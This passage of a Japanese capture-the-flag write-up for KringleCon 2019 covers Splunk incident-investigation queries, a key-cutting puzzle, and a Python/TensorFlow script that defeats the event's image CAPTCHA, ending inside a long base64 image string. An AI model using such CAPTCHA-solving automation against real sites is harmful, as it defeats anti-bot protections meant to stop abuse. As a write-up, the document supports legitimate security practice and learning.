5) Network Log Analysis: Determine Compromised System

Beacons画面の先頭のSourceのIPアドレスが答え。

f:id:graneed:20191230040521p:plain

answer: 192.168.134.130

6) Splunk

Splunkを使用して、インシデント調査を進めていく問題。

インシデントレスポンスチームのリーダーみたいなキャラクターからチャット形式でヒントをもらえるので、指示通りに検索していけばクリア。

1. What is the short host name of Professor Banas' computer?

チャットにそのまま答えがある。

f:id:graneed:20191230043248p:plain

answer: sweetums

2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

index=main santaで検索。

f:id:graneed:20191230043209p:plain

answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3で検索。

f:id:graneed:20191230043904p:plain

answer: 144.202.46.214.vultr.com

4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverseで検索し、先頭レコードの時間の前後5秒間で絞り込んだ上で、index=mainで検索。

f:id:graneed:20191230051058p:plain

プロセスIDが62685864の2件に絞られる。イベントログのプロセスIDは16進数であるため、6268から16進数の0x187Cに変換してイベントログから検索する。 index=main sourcetype=WinEventLog New_Process_ID=0x187Cで検索。

f:id:graneed:20191230083710p:plain

answer: 19th Century Holiday Cheer Assignment.docm

5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment submission"
| table results{}.workers.smtp.from
| dedup results{}.workers.smtp.from
| stats count

で検索。

f:id:graneed:20191230090038p:plain

answer: 21

6. What was the password for the zip archive that contained the suspicious file?

index=main sourcetype=stoq results{}.payload_meta.extra_data.filename="Buttercups_HOL404_assignment.zip"
| table results{}.workers.smtp.from results{}.workers.smtp.body

で検索。

f:id:graneed:20191230091354p:plain

answer: 123456789

7. What email address did the suspicious file come from?

6のサーチ結果から。

answer: bradly.buttercups@eifu.org

What was the message for Kent that the adversary embedded in this attack?

index=main sourcetype=stoq  "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>"
| eval results = spath(_raw, "results{}") 
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename 
| search fullpath!="" 
| table filename,fullpath

で検索。

f:id:graneed:20191230093413p:plain

docmファイルの実体はzipファイルであるため、中身が展開されてサーバに置かれている。 ドキュメントのプロパティはcore.xmlに書かれているので確認する。

f:id:graneed:20191230093514p:plain

f:id:graneed:20191230093623p:plain

answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

7) Get Access To The Steam Tunnels

ある部屋に入ると、krampusというキャラクターが逃げていく。逃げた先には鍵がかかっている。 krampusのキャラクター画像の腰元に鍵があり、その画像から鍵を作成する。

開発者ツールで観察するとkrampusの画像は以下のURLであることがわかる。
https://2019.kringlecon.com/images/avatars/elves/krampus.png

f:id:graneed:20191230163449p:plain

近くに鍵を作成するツールがある。krampusの画像の鍵の凸凹の深さに合わせて数値を調整する。

f:id:graneed:20191230164116p:plain

122520で一致した。

f:id:graneed:20191230164129p:plain

鍵を解除した先で、Krampusのフルネームがわかる。

answer: Krampus Hollyfeld

8) Bypassing the Frido Sleigh CAPTEHA

100個の画像を使用したCAPTCHA認証を5秒以内に突破する問題。人間ではクリアできない時間と量であるため機械学習を使用する。 幸いにも、教師データが12000ファイルくらい与えられている。

Terminal問題をクリアして得られたヒント動画で公開されていた、以下のgithubリポジトリを活用する。
GitHub - chrisjd20/img_rec_tf_ml_demo: Image Recognition Using TensorFlow Machine Learning Demo to recognize Apples from Bananas

モデルの作成は、上記のリポジトリのretrain.pyをそのまま使用できる。

CAPTCHA画像を取得、機械学習による解析および解答を行うプログラムは以下のとおり。

#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld
import requests
import json
import sys
import base64

import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.logging.set_verbosity(tf.logging.ERROR)
import numpy as np
import threading
import queue
import time

def load_labels(label_file):
    label = []
    proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def predict_image(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation):
    image_bytes = base64.b64decode(img["base64"].encode("UTF-8"))
    image = read_tensor_from_image_bytes(image_bytes)
    results = sess.run(output_operation.outputs[0], {
        input_operation.outputs[0]: image
    })
    results = np.squeeze(results)
    prediction = results.argsort()[-5:][::-1][0]
    if labels[prediction].title() in challenge_image_types:
        print(img["uuid"], labels[prediction].title())
        q.put(img)

    return labels[prediction].title()

def load_graph(model_file):
    graph = tf.Graph()
    graph_def = tf.GraphDef()
    with open(model_file, "rb") as f:
        graph_def.ParseFromString(f.read())
    with graph.as_default():
        tf.import_graph_def(graph_def)
    return graph

def read_tensor_from_image_bytes(imagebytes, input_height=299, input_width=299, input_mean=0, input_std=255):
    image_reader = tf.image.decode_png( imagebytes, channels=3, name="png_reader")
    float_caster = tf.cast(image_reader, tf.float32)
    dims_expander = tf.expand_dims(float_caster, 0)
    resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])
    normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])
    sess = tf.compat.v1.Session()
    result = sess.run(normalized)
    return result

def main():
    yourREALemailAddress = "pmkenpks@sharklasers.com"

    '''
    MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE
    '''
    # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
    graph = load_graph('./retrain_tmp/output_graph.pb')
    labels = load_labels("./retrain_tmp/output_labels.txt")

    # Load up our session
    input_operation = graph.get_operation_by_name("import/Placeholder")
    output_operation = graph.get_operation_by_name("import/final_result")
    sess = tf.compat.v1.Session(graph=graph)

    dummy_img = {'base64': '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